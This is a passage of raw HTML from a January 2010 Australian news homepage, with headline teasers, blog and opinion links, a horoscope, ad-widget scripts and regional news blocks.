height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tTWO robbers who blew themselves up trying to make an ATM &quot;withdrawal&quot; win awards.\n\t</p> <!-- // .standfirst -->\n\n\t\t\t</div> <!-- // .story-block -->\n\t\t</div> <!-- // .content-item -->\n\t\t\t</div> <!-- // .module-content -->\n\t\t        <div class=\"module-controls fader-controls js-fader-controls\">\n\t\t            <p class=\"fader-prev-button js-fader-prev\"><a href=\"#\">Prev</a></p>\n\t\t\t\t\t<p class=\"fader-counter-container\"><span class=\"fader-counter js-fader-counter\">1</span>&nbsp;of&nbsp;6</p>\n\t\t            <p class=\"fader-next-button js-fader-next\"><a href=\"#\">Next</a></p>\n\t\t        </div><!-- // .module-controls .js-fader-controls -->\n\t\t\t<div class=\"module-footer\">\n\t<ul class=\"more-links mpos-5 mrpos-5 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/weird-true-freaky\">More WTF stories</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .module-footer -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- START VCMS video promo widget embed -->\n<div class=\"module video-embed vcms-player vcms-promo-widget video-widget-large\" >\n\t\t<div class=\"module-header\">\n\t\t\t<h2 class=\"heading\"><a href=\"http://player.video.news.com.au/news/\">Latest video</a></h2>\n\t\t</div>\n\t<div class=\"module-content\" id=\"vcms-1225750964297\">\n\t\t<noscript>\n\t\t<div class=\"caption\">\n\t\t\t<p>[To view video please enable JavaScript and Flash.]</p></div>\n\t\t</noscript>\n\t</div><!-- // .module-content -->\n</div><!-- // .module.video-embed.vcms-player -->\n<script type=\"text/javascript\">\n\tndm.media.embedWidget(\"http://static.video.news.com.au/widget/config/news/news-home/definition.json\",\"vcms-1225750964297\");\n</script>\n<!-- END VCMS video promo widget embed -->\n\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo  ci-count-5 mpos-7 mrpos-3 first-image-152w86h text-m-blogroll id1225750953740\">\n        <div class=\"module-header\">\n\t\t\t\t   <h3 class=\"heading\"><a href=\"/blogs\">Blogroll</a></h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-5\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-04 \">\n                        <div class=\"promo-image\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/i_punched_my_flat_mate_now_everyone_hates_me/\"><img src=\"http://resources0.news.com.au/images/2009/12/02/1225806/231572-ask-bossy-kate-de-brito.jpg\" alt=\"Ask Bossy, Kate de Brito\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/i_punched_my_flat_mate_now_everyone_hates_me/\">Ask Bossy</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>I gave&nbsp; my flatmate a shiner. Now I'm sad, porking up and everyone hates me.</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-04 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-2 cirpos-4\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://blogs.news.com.au/subpub/index.php/news/comments/once_and_future_prints/\">Sub in the Pub: Headlines you want to see</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-3 cirpos-3\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/which_celebrity_can_you_imagine_having_a_bed_in_today/\">Splat!: Which celebrity would bed-in these days?</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-4 cirpos-2\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://blogs.news.com.au/dailytelegraph/timblair/index.php/dailytelegraph/comments/australian_of_the_year1/\">Pru Goward: One contender for Aussie of the Year</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-5 cirpos-1\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://blogs.news.com.au/couriermail/emily/index.php/couriermail/comments/a_pretty_pair_of_brand_new_shoes/\">Emily Everywhere: Meeting Gloria in giant shoes</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n            <div class=\"module-footer\">\n\t            <ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/blogs\">More blogs</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n            </div><!-- // .module-footer -->\n</div><!-- // .module.multi-promo -->\n\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo  ci-count-5 mpos-8 mrpos-2 first-image-100w75h text-m-opinion-from-the-punch id1225816197941\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\"><a href=\"http://www.thepunch.com.au/\">Opinion from The Punch</a></h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-5\">\n\t\t\t<!-- promo-block-a -->\n<div class=\"story-block\">\n\t<h4 class=\"heading\">\n       <a href=\"http://www.thepunch.com.au/articles/what-happened-to-pollies-being-good-at-just-politics/\">Why can&#039;t pollies just be good at politics?</a>\n\t</h4>\n\t       <a href=\"http://www.thepunch.com.au/articles/what-happened-to-pollies-being-good-at-just-politics/\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225818/009700-putin.jpg\" alt=\"putin\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<div class=\"standfirst\"><p>\n<link rel=\"File-List\" href=\"file:///C:%5CDOCUME%7E1%5Ckippistl%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml\" /><!--[if gte mso 9]><xml>\n<w:WordDocument>\n<w:View>Normal</w:View>\n<w:Zoom>0</w:Zoom>\n<w:PunctuationKerning />\n<w:ValidateAgainstSchemas />\n<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>\n<w:IgnoreMixedContent>false</w:IgnoreMixedContent>\n<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>\n<w:Compatibility>\n<w:BreakWrappedTables />\n<w:SnapToGridInCell />\n<w:WrapTextWithPunct />\n<w:UseAsianBreakRules />\n<w:DontGrowAutofit />\n</w:Compatibility>\n<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>\n</w:WordDocument>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n<w:LatentStyles DefLockedState=\"false\" LatentStyleCount=\"156\">\n</w:LatentStyles>\n</xml><![endif]--><style type=\"text/css\">\n<!--\n /* Style Definitions */\n p.MsoNormal, li.MsoNormal, div.MsoNormal\n\t{mso-style-parent:\"\";\n\tmargin:0cm;\n\tmargin-bottom:.0001pt;\n\tmso-pagination:widow-orphan;\n\tfont-size:12.0pt;\n\tfont-family:\"Times New Roman\";\n\tmso-fareast-font-family:\"Times New Roman\";}\nspan.EmailStyle15\n\t{mso-style-type:personal;\n\tmso-style-noshow:yes;\n\tmso-ansi-font-size:10.0pt;\n\tmso-bidi-font-size:10.0pt;\n\tfont-family:Arial;\n\tmso-ascii-font-family:Arial;\n\tmso-hansi-font-family:Arial;\n\tmso-bidi-font-family:Arial;\n\tcolor:windowtext;}\n@page Section1\n\t{size:595.3pt 841.9pt;\n\tmargin:72.0pt 90.0pt 72.0pt 90.0pt;\n\tmso-header-margin:35.4pt;\n\tmso-footer-margin:35.4pt;\n\tmso-paper-source:0;}\ndiv.Section1\n\t{page:Section1;}\n-->\n</style><!--[if gte mso 10]>\n<style>\n/* Style Definitions */\ntable.MsoNormalTable\n{mso-style-name:\"Table Normal\";\nmso-tstyle-rowband-size:0;\nmso-tstyle-colband-size:0;\nmso-style-noshow:yes;\nmso-style-parent:\"\";\nmso-padding-alt:0cm 5.4pt 0cm 5.4pt;\nmso-para-margin:0cm;\nmso-para-margin-bottom:.0001pt;\nmso-pagination:widow-orphan;\nfont-size:10.0pt;\nfont-family:\"Times New Roman\";\nmso-ansi-language:#0400;\nmso-fareast-language:#0400;\nmso-bidi-language:#0400;}\n</style>\n<![endif]--></p>\n<p class=\"MsoNormal\"><span style=\"font-size: 10pt; font-family: Arial;\">PAUL Colgan's all for politicians having hobbies but they make the rest of us feel like we&rsquo;re in for a lifetime of mediocrity.<o:p></o:p></span></p>\n<p>&nbsp;</p></div>\n</div><!-- // .story-block -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-2 cirpos-4\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://www.thepunch.com.au/articles/oh-hotmail-you-are-truly-the-fairest-of-them-all/\">Leo Shanahan: Oh Hotmail the fairest of them all</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-3 cirpos-3\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://www.thepunch.com.au/articles/the-nine-biggest-sins-of-packaged-food/\">Nola James: Nine sins of packaged food</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-4 cirpos-2\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://www.thepunch.com.au/articles/the-ethics-of-buying-a-goat/\">Rhiannon Elston: The ethics of buying a goat</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-5 cirpos-1\">\n\t\t\t<!-- promo-link-a -->\n        <div class=\"promo-block promo-link-01 promo-related-link\">\n                        <a href=\"http://www.thepunch.com.au/articles/a-league-reasons-for-roundballers-to-love-branko-culina/\">David Hall: Reasons roundballers love Branko</a>\n        </div><!-- // .promo-block.promo-link-01 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n            <div class=\"module-footer\">\n\t            <ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.thepunch.com.au/\">More opinion from The Punch</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n            </div><!-- // .module-footer -->\n</div><!-- // .module.multi-promo -->\n\n\t\t\t\t\t<!-- Generated at Mon Jan 11 12:49:25 EST 2010 -->\n<!-- sign capricorn -->\n<!-- dateString1 110110-[au.com.ndm.common.nonmanaged.rssparser.Horoscope@4807b339] -->\n<!-- dateString2 110110-[au.com.ndm.common.nonmanaged.rssparser.Horoscope@4807b339] -->\n\t<div class=\"module horoscope-summary  mpos-9 mrpos-1 id1225750965142\">\n\t\t<div class=\"module-header\">\n\t\t\t<h3 class=\"heading\"><a href=\"/entertainment/horoscopes\" rel=\"track-horoscope-summary\">Horoscopes</a></h3>\n\t\t</div><!-- // .module-header -->\n\t\t<div class=\"module-content\">\n\t\t\t<div class=\"story-block capricorn\">\n\t\t\t\t<h4 class=\"heading\"><a href=\"/entertainment/horoscopes\">Capricorn</a></h4>\n\t\t\t\t\t\t<p class=\"date-range\">Dec 22 - Jan 20\n</p>\n<div class=\"horoscope-sign\"><a href=\"/entertainment/horoscopes\" rel=\"track-horoscope-summary\">capricorn</a></div>\n\t\t\t\t<p class=\"stand-first\">\nGood builders rarely clear up after themselves. It is, apparently, impossible to operate a vacuum cleaner if you know how to use a drill. But, then, they are not alone. Surgeo... <a href=\"/entertainment/horoscopes\">Read more</a></p>\n\t\t\t</div> <!-- // .story-block . -->\n\t\t</div><!-- // .module-content -->\n\t\t<div class=\"module-footer\">\n\t\t\t<p class=\"powered-by\">Powered by <strong>Jonathan Cainer</strong></p>\n\t\t\t<p class=\"more-link\"><a href=\"/entertainment/horoscopes\" rel=\"track-horoscope-summary\">Read All Horoscopes</a></p>\n\t\t</div><!-- // .content-footer -->\n\t</div><!-- // .module .horoscope-summary .news home horoscopes -->\n\n\n\t\t</div><!-- // .item ipos-1 irpos-3 -->\n\t\t<div class=\"item ipos-2 irpos-2\">\n\t\t\t\t\t<div class=\"ad ad-shortrec mpos-1 mrpos-1\" id=\"ad-shortrec\" >\n\t\t    <div class=\"ndmadkit ndmadkit-shortrec\"><script type=\"text/javascript\">ndm.kit.shortrec();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-shortrec\"><script type=\"text/javascript\">ndm.kit.shortrec();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-shortrec\"><script type=\"text/javascript\">ndm.kit.shortrec();</script></div><!-- // .ndmadkit -->\n\t\t</div><!-- // .ad .ad-shortrec -->\n\n\t\t</div><!-- // .item ipos-2 irpos-2 -->\n\t\t<div class=\"item ipos-3 irpos-1\">\n\t\t\t\t\t<div class=\"ad ad-shortrec mpos-1 mrpos-2\" id=\"ad-shortrec\" >\n\t\t    <div class=\"ndmadkit ndmadkit-shortrec\"><script type=\"text/javascript\">ndm.kit.shortrec();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-shortrec\"><script type=\"text/javascript\">ndm.kit.shortrec();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-shortrec\"><script type=\"text/javascript\">ndm.kit.shortrec();</script></div><!-- // .ndmadkit -->\n\t\t</div><!-- // .ad .ad-shortrec -->\n\n\t\t\t\t\t<div class=\"ad ad-adsensemedium mpos-2 mrpos-1\" id=\"ad-adsensemedium\" >\n\t\t    <div class=\"ndmadkit ndmadkit-adsensemedium\"><script type=\"text/javascript\">ndm.kit.adsensemedium();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-adsensemedium\"><script type=\"text/javascript\">ndm.kit.adsensemedium();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-adsensemedium\"><script type=\"text/javascript\">ndm.kit.adsensemedium();</script></div><!-- // .ndmadkit -->\n\t\t</div><!-- // .ad .ad-adsensemedium -->\n\n\t\t</div><!-- // .item ipos-3 irpos-1 -->\n\t</div><!-- // .group-content.item-count-3 -->\n</div><!-- // .group -->\n\n\t\t\t\t</div><!-- // #content-3 -->\n\t\t\t\t<div id=\"content-4\">\n\t\t<!-- [Group:1225745348045] on [fwprodcontent05.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group group-accordion text-g-national-amp-local item-count-1\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">National & Local</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-1\">\n\t\t\t\t\t<div class=\"module default    collection mpos-1 mrpos-2 text-m-national id1225745360518\" id=\"id1225745360518\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"/national\">National\n</a></h3>\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817945718\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/national/jaspreet-singhs-family-denies-race-attack-story-made-up/story-e6frfkvr-1225817945718\">\n\t\t\t\t\t\tFamily denies 'race attack' story made up\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/national/jaspreet-singhs-family-denies-race-attack-story-made-up/story-e6frfkvr-1225817945718\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225817/947564-jaspreet-singh.jpg\" alt=\"Jaspreet Singh\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tFAMILY, friends of Indian man who alleges he was set on fire by four men reject rumours he made it up.\n\t</p> <!-- // .standfirst -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first last lipos-1\"><a href=\"http://www.heraldsun.com.au/news/are-victorians-racist/story-e6frf7jo-1225817863179\"><strong class=\"kicker\">Herald Sun:</strong> Are Victorians racist? </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817945718 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/national/casuarina-mum-six-times-over-limit-while-driving-kids/story-e6frfkvr-1225817936003\"> Mum 'six times over limit while driving kids' </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/national/japan-attacks-julia-gillards-stand-on-whaling-after-ady-gil-crash/story-e6frfkvr-1225817941811\"> Japan 'provoked' by Gillard whaling stance </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/national/trio-in-taren-point-armed-robbery-car-chase-carjacking/story-e6frfkvr-1225817939979\"> Trio in armed robbery, car chase, carjacking </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/national/boy-three-drowns-in-dam-at-family-property-in-dimbulah/story-e6frfkvr-1225817933311\"> Boy, three, drowns in dam at family property </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<div class=\"module tabbed js-tabbed tabbed-small ci-count-8 mpos-2 mrpos-1 text-m-news-home-national-tab-multi id1225791975067\">\n\t\t<div class=\"module-controls\">\n\t\t\t<ul class=\"tab-set\">\n\t\t\t\t\t<li class=\"tab js-tab lipos-1 lirpos-8\"><a href=\"#\">Map</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-2 lirpos-7\"><a href=\"#\">NSW &amp; ACT</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-3 lirpos-6\"><a href=\"#\">Qld</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-4 lirpos-5\"><a href=\"#\">Vic</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-5 lirpos-4\"><a href=\"#\">SA</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-6 lirpos-3\"><a href=\"#\">WA</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-7 lirpos-2\"><a href=\"#\">NT</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-8 lirpos-1\"><a href=\"#\">Tas</a></li>\n\t\t\t</ul>\n\t\t</div><!-- // .module-controls -->\n    <div class=\"module-content\">\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-1 cirpos-8\" >\n\t\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"map national-map\">\n    <h3 class=\"heading\">Select your state to view your local news here:</h3>\n\t<img src=\"http://resources.news.com.au/cs/newscomau/custom-html/transparent.gif\" width=\"190\" height=\"175\" border=\"0\" id=\"around-aus-map-image\" class=\"no-state\" usemap=\"#around-aus-map\" />\n\t<map name=\"around-aus-map\" id=\"around-aus-map\">\n\t\t<area shape=\"poly\" coords=\"158,140,151,132,138,132,129,122,125,122,126,99,178,100\" href=\"#around-australia-nswact\" alt=\"nswact\" />\n\t\t<area shape=\"poly\" coords=\"115,38,114,82,127,82,126,96,177,98,178,84,163,59,152,51,146,29,136,9,127,43\" href=\"#around-australia-qld\" alt=\"qld\" />\n\t\t<area shape=\"poly\" coords=\"158,140,151,131,137,130,129,121,126,121,125,140,133,143,144,144\" href=\"#around-australia-vic\" alt=\"vic\" />\n\t\t<area shape=\"poly\" coords=\"126,82,124,139,94,111,78,109,77,83\" href=\"#around-australia-sa\" alt=\"sa\" />\n\t\t<area shape=\"poly\" coords=\"73,31,77,110,30,131,8,88,10,72,40,56,45,42,62,26\" href=\"#around-australia-wa\" alt=\"wa\" />\n\t\t<area shape=\"poly\" coords=\"114,38,114,81,77,82,74,32,81,14,109,12,105,29\" href=\"#around-australia-nt\" alt=\"nt\" />\n\t\t<area shape=\"poly\" coords=\"135,150,142,168,173,165,173,157\" href=\"#around-australia-tas\" alt=\"tas\" />\n\t</map>\n</div>\n\t</div><!-- // .custom-html -->\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-2 cirpos-7\" >\n\t\t\t\t\t\t<div class=\"ci default   state state-nswact collection  text-m-nsw-act id1225749148204\" id=\"id1225749148204\">\n\t\t\t<div class=\"ci-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"http://www.dailytelegraph.com.au/\">NSW / ACT</a></h3>\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.dailytelegraph.com.au/\">The Daily Telegraph</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .ci-header -->\n\t\t\t<div class=\"ci-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817868581\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"http://www.dailytelegraph.com.au/news/brace-yourself-for-the-metro-meltdown/story-e6freuy9-1225817868581\">\n\t\t\t\t\t\tBrace yourself for Metro meltdown\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"http://www.dailytelegraph.com.au/news/brace-yourself-for-the-metro-meltdown/story-e6freuy9-1225817868581\" class=\"thumb-link\"><img src=\"http://resources2.news.com.au/images/2009/09/21/1225777/281594-traffic.jpg\" alt=\"Traffic jam\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\tTENS of thousands of Sydney commuters face transport chaos that will last years while the CBD Metro is built, the State Government has admitted.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817868581 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"http://www.dailytelegraph.com.au/news/charges-laid-over-blind-rape-case/story-e6freuy9-1225817867010\"> Charges laid over blind rape case </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"http://www.dailytelegraph.com.au/news/arsonists-torch-salvation-army-op-shop/story-e6freuy9-1225817874459\"> Arsonists torch Salvo's Op Shop </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-3\"><a href=\"http://www.dailytelegraph.com.au/travel/body-scans-for-australias-gateway-sydney-aiport/story-e6frezhr-1225817873681\"> Body scans for Australia's gateway </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .ci-content -->\n\t\t\t<div class=\"ci-footer\">\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.dailytelegraph.com.au\">More news at The Daily Telegraph </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .ci-footer -->\n\t\t</div> <!-- // .ci .collection -->\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-3 cirpos-6\" >\n\t\t\t\t\t\t<div class=\"ci default   state state-qld collection  text-m-queensland id1225749148354\" id=\"id1225749148354\">\n\t\t\t<div class=\"ci-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"http://www.couriermail.com.au/\">Queensland\n</a></h3>\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.couriermail.com.au/\">The Courier-Mail</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .ci-header -->\n\t\t\t<div class=\"ci-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225818011237\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"http://www.news.com.au/couriermail/story/0,,26574794-3102,00.html\">\n\t\t\t\t\t\tQR security guard assaulted\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"http://www.news.com.au/couriermail/story/0,,26574794-3102,00.html\" class=\"thumb-link\"><img src=\"http://resources1.news.com.au/images/2010/01/11/1225818/011053-qr-security-guard-assaulted.jpg\" alt=\"QR security guard assaulted\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\tA SECURITY guard has been bitten and punched after disturbing a burglar at a Queensland Rail workshop at Redbank, west of Brisbane.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225818011237 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"http://www.news.com.au/couriermail/story/0,,26574740-5017790,00.html\"> Human stories in wreck </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"http://www.news.com.au/couriermail/story/0,,26574682-5003402,00.html\"> Thief had see-through disguise </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-3\"><a href=\"http://www.news.com.au/couriermail/story/0,,26574658-5003402,00.html\"> BBQ fire destroys house </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .ci-content -->\n\t\t\t<div class=\"ci-footer\">\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.couriermail.com.au\">More news at The Courier-Mail </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .ci-footer -->\n\t\t</div> <!-- // .ci .collection -->\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-4 cirpos-5\" >\n\t\t\t\t\t\t<div class=\"ci default   state state-vic collection  text-m-victoria id1225749150510\" id=\"id1225749150510\">\n\t\t\t<div class=\"ci-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"http://www.heraldsun.com.au/\">Victoria</a></h3>\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.heraldsun.com.au/news/victoria\">Victoria</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .ci-header -->\n\t\t\t<div class=\"ci-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817899003\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"http://www.heraldsun.com.au/news/naughty-corners-are-a-bad-idea-for-kids/story-e6frf7jo-1225817899003\">\n\t\t\t\t\t\tNaughty corners 'bad for kids'\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"http://www.heraldsun.com.au/news/naughty-corners-are-a-bad-idea-for-kids/story-e6frf7jo-1225817899003\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225817/900476-an-expert-has-warned-against-naughty-corners.jpg\" alt=\"An expert has warned against naughty corners\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\tA MELBOURNE&nbsp;expert says naughty corners in bedrooms are inappropriate because they shame and humiliate.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817899003 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"http://www.heraldsun.com.au/news/doctors-demand-free-aircon-to-save-elderly/story-e6frf7jo-1225817883985\"> Doctors demand free aircon </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"http://www.heraldsun.com.au/news/tight-knit-town-mourns-a-top-bloke/story-e6frf7jo-1225817883046\"> Tolmie mourns a top bloke </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-3\"><a href=\"http://www.heraldsun.com.au/news/are-victorians-racist/story-e6frf7jo-1225817863179\"> Are Victorians racist? </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .ci-content -->\n\t\t\t<div class=\"ci-footer\">\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.heraldsun.com.au\">More news at Herald Sun </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .ci-footer -->\n\t\t</div> <!-- // .ci .collection -->\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-5 cirpos-4\" >\n\t\t\t\t\t\t<div class=\"ci default   state state-sa collection  text-m-south-australia id1225749150536\" id=\"id1225749150536\">\n\t\t\t<div class=\"ci-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"http://www.adelaidenow.com.au/\">South Australia</a></h3>\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.adelaidenow.com.au/\">AdelaideNow</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .ci-header -->\n\t\t\t<div class=\"ci-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225818052131\">\n\t\t<h4 